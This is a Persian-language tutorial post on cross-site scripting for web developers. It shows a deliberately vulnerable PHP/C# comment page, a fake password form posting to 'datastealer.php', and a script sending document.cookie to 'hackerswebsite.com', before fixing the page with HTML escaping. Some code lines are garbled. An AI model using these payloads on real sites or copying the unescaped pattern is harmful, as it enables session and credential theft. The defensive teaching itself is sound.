با توجه به توسعه روز افزون برنامه های کاربردی تحت وب هر برنامه نویسی که در این زمینه فعالیت می کند ملزم است که حملات رایج به این گونه برنامه ها را شناخته و از بروز آن ها جلوگیری کند.
سلسله مقالات ذیل مقدمه ایست بر حمله های رایج و نحوه دفاع در برابر آن ها.در این مقالات با انواع حملات Cross site scripting و sql injection آشنا می شوید و خواهید آموخت چگونه از بروز آن ها در برنامه های خود جلوگیری کنید.
بخش اول آشنایی با Cross site scripting
در این گونه حملات فرد نفوذ گر بر روی استفاده کننده از برنامه شما فوکوس می کند.وی با استفاده از تگهای ساده HTML به یوزر های شما حمله خواهد کرد.
مثال:
برنامه زیر با استفاده از یک فایل اطلاعات را از کاربران گرفته و نمایش میدهد.(چیزی شبیه به یک فوروم خیلی ساده)
برنامه الگوی 1: PHP mode))
<?PHP
$filename="1";
if (isset($_POST['comment']) and !empty($_POST['comment'])){
if (!$handle = fopen($filename, 'a')) {
echo "Cannot open file ($filename)";
exit;
}
// Write $somecontent to our opened file.
if (fwrite($handle, $_POST['comment']."\n") === FALSE) {
echo "Cannot write to file ($filename)";
exit;
}
echo "Success, wrote ".$_POST['comment'] ." to file ($filename)";
fclose($handle);
}
?>
<form action="" method="POST">
<p>
<textarea name="comment" cols="50"></textarea>
</p>
<p>
<input type="submit" name="Submit2" value="Submit">
</p>
</form>
<?PHP
// get contents of a file into a string
$handle = @fopen($filename, "r");
$contents = @fread($handle, filesize($filename));
echo nl2br($contents);
@fclose($handle);
?>
C#
private void Page_Load(object sender, System.EventArgs e)
{
string filename = "1";
if (Page.IsPostBack)
{
System.IO.StreamWriter sr = System.IO.File.CreateText(filename);
// safe
sr.WriteLine (System.Web.HttpUtility.HtmlEncode(TextBox 1.Text));
// unsafe
//sr.WriteLine (TextBox1.Text);
sr.Close();
}
if (System.IO.File.Exists(filename) 1;
{
System.IO.StreamReader sr = System.IO.File.OpenText(filename);
string input ;
if ((input =sr.ReadLine())!=null)
Response.Write(input);
sr.Close();
}
}
تا اینجا همه چیز عادیست . یک یوزر مثلا جمله "سلام دنیا" را در textbox می نویسد و پس از ذخیره در فایل این جمله نمایش داده میشود.
حال این عبارت را تست کنید:
<script>alert(document.domain)</script>
با توجه به اینکه عبارت قرار داده شده در فایل عینا بر روی صفحه ظاهر خواهد شد مرورگر کاربر کدها را تفسیر و اجرا میکند.بنابراین اسکریپت فوق دقیقا همانند اینکه در برنامه شما به صورت پیش فرض وجود داشته باشد اجرا خواهد شد!
یک مثال جالبتر:
<form name="form1" method="post" action="http://mysite.com/datastealer.php">
<p>Enter your password , email or something
<input name="password" type="text" id="password">
<input type="submit" name="Submit" value="Submit">
</form>
سایت شما مورد اعتماد کاربر است بنابراین وی اطلاعات شخصی خود را با توجه به اینکه به شما اعتماد دارد وارد خواهد کرد.و این اطلاعات به اسکریپت نفوذ گر منتقل شده و ذخیره میشوند!
اما این تنها نمایی از خطر این گونه حملات است.شاید فکر کنید در صورتیکه یوزرهای شما آگاه باشند چندان هم در خطر نیستید.اما صبر کنید هنوز تکنیک های زیرکانه تری برای یک مهاجم باقیست
با هم یک مثال عملی از دزدیده شدن اطلاعات کاربری را بررسی می کنیم:
1- مهاجم یک برنامه ساده ثبت اطلاعات در وب سایت خود مینویسد.که بدینوسیله اطلاعات را دریافت و ثبت می کند.
http://hackerswebsite.com/recordscript.php?information=[data]
بدین ترتیب که هر داده ای که جای دیتا قرار داده شود ثبت خواهد شد.
2- وی این کد را در برنامه الگو1 وارد می کند.
<script>document.location.replace(http&# 58;//hackerswebsite.com/recordscript.php?information='+document.cookie) ;;</script>
وی به سادگی کوکی ها و session ID های کاربر شما را دزدید!
راه حل:
تبدیل کاراکتر های ویژه html همانند < ، > ، & ، ‘ ، “ ، و سایر کاراکتر هایی که ممکن است مورد سواستفاده قرار گیرند به معادل کاراکتری آن ها برای مثال تابع زیر این کار را در PHP برای شما انجام میدهد:
string htmlspecialchars ( string string [, int quote_style [, string charset]])
تنها با عوض کردن این خط
if (fwrite($handle, $_POST['comment']."\n") === FALSE) {
در برنامه الگو1 و تبدیل آن به
if (fwrite($handle, htmlspecialchars($_POST['comment']) ;."\n") === FALSE) {
برنامه فوق تا حد زیادی در برابر این سطح از حملات ایمن شده.اما توجه کنید همان طور که گفتم تکنیک های زیرکانه تری نیز وجود دارد که در مقالات بعدی به آن ها خواهیم پرداخت.
هدف من در این مقاله آشنایی ابتدایی شما یا حملات Cross site scripting که XSS نیز نامیده می شوند بود در مقالات بعدی این بحث را دنبال خواهیم کرد.
تگ های خطرناک:
HTML Tag Description
[b]<SCRIPT>[/b] Adds a script that is to be used in the document.
Attributes:
• type = Specifies the language of the script. Its value must be a media type (e.g. text/javascript). This attribute is required by the HTML 4.0 specification and is a recommended replacement for the “language” attribute.
• language = Identifies the language of the script, such as JavaScript or VBScript.
• src = Specifies the URL of an outside file containing the script to be loaded and run with the document. (Netscape only)
Supported by: Netscape, IE 3+, HTML 4, Opera 3+
[b]<OBJECT>[/b]
Places an object (such as an applet, media file, etc.) on a document. The tag often contains information for retrieving ActiveX controls that IE uses to display the object.
Attributes:
• classid = Identifies the class identifier of the object.
• codebase = Identifies the URL of the object’s codebase.
• codetype = Specifies the media type of the code. Examples of code types include audio/basic, text/html, and image/gif. (IE and HTML 4.0 only)
• data = Specifies the URL of the data used for the object.
• name = Specifies the name of the object to be referenced by scripts on the page.
• standby = Specifies the message to display while the object loads.
• type = Specifies the media type for the data.
• usemap = Specifies the imagemap URL to use with the object.
Supported by: Netscape, IE, HTML 4
[b]<APPLET> [/b]
Used to place a Java applet on a document. It is depreciated in the HTML 4.0 specification in favour of <object> tag.
Attributes:
• code = Specifies the class name of the code to be executed (required).
• codebase = The URL from which the code is retrieved.
• name = Names the applet for reference elsewhere on the page.
Supported by: Netscape, IE 3+, HTML 4
[b]<EMBED>[/b]
Embeds an object into the document. Embedded objects are most often multimedia files that require special plug-ins to display. Specific media types and their respective plug-ins may have additional proprietary attributes for controlling the playback of the file. The closing tag is not always required, but is recommended. The tag was dropped by the HTML 4.0 specification in favour of the <object> tag.
Attributes:
• hidden = Hides the media file or player from view when set to yes.
• name = Specifies the name for the embedded object for later reference within a script.
• pluginspage = Specifies the URL for information on installing the appropriate plug-in.
• src = Provides the URL to the file or object to be placed on the document. (Netscape 4+ and IE 4+ only)
• code = Specifies the class name of the Java code to be executed. (IE only)
• codebase = Specifies the base URL for the application. (IE only)
• pluginurl = Specifies a source for installing the appropriate plug-in for the media file. (Netscape only)
• type = Specifies the MIME type of the plug-in needed to run the file. (Netscape only)
Supported by: Netscape, IE 3+, Opera 3+
<FORM> Indicates the beginning and end of a form.
Attributes:
• action = Specifies the URL of the application that will process the form.
• enctype = Specifies how the values for the form controls are encoded when they are submitted to the server.
• method = Specifies which HTTP method will be used to submit the form data.
• target = Specifies a target window for the results of the form submission to be loaded ( _blank, _top, _parent, and _self).
سئوالی ، نظری ، ایده ای چیزی دارین دریغ نفرمایید اما کما فی السابق از ارسال پست های فضایی (مثلا : من می خوام پسورد مسنجر رو در بیارم از این روش چجوریه؟!!!!) خودداری نمایید :mrgreen: